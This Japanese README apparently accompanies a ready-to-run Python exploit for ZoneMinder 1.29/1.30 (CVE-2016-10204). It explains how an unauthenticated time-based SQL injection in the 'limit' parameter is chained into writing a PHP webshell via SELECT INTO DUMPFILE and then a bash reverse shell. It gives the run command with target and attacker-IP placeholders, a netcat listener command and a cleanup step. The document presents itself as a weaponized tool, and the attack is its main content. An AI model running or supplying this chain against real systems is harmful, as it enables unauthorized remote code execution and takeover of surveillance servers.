
ZoneMinder 1.29/1.30 における未認証 SQL インジェクションから RCE へのエクスプロイト(CVE-2016-10204、EDB-41239)。単一コマンドの SQLi から webshell、そしてリバースシェルまでの PoC を Python で実装。
ZoneMinder 1.29/1.30 向けのすぐに実行できる Python エクスプロイトで、認証不要の SQL インジェクション(CVE-2016-10204、EDB-41239)を連鎖させて、対話型リバースシェルまで到達します。
これは既知の修正済み CVE に対する weaponized/自動化された PoC であり、新しいエクスプロイトではありません。
このバグに対する EDB の PoC は SQLi ペイロードで止まるか、「sqlmap を向ける」だけです。このエクスプロイトは完全な SQLi から webshell、そして shell への連鎖を 1 つの読みやすいスクリプトにまとめています。
index.php?view=request&request=log&task=query の limit POST パラメータに対して、時間ベース(SLEEP)のプローブでインジェクションを確認します。SELECT ... INTO DUMPFILE を介して、Web ルートに小さな PHP webshell を書き込み、いくつかの一般的な ZoneMinder/Apache パスを試します。bash リバースシェルをあなたの netcat リスナーに発火させます。OUTFILE ではなく DUMPFILE。 OUTFILE は改行をエスケープし、複数行の PHP を壊します。DUMPFILE は生のバイトを書き込むため、webshell は有効なままです。# シェルを取得
python3 zm-exploit.py -u http://TARGET/zm/ -l YOUR_IP -p 443
# プロンプトが表示されたら、別のターミナルでリスナーを起動
sudo nc -lvnp 443
# その後、ドロップされた webshell を削除(名前は最後に表示されます)
python3 zm-exploit.py -u http://TARGET/zm/ --cleanup a1b2c3d4.php
MIT、LICENSE を参照。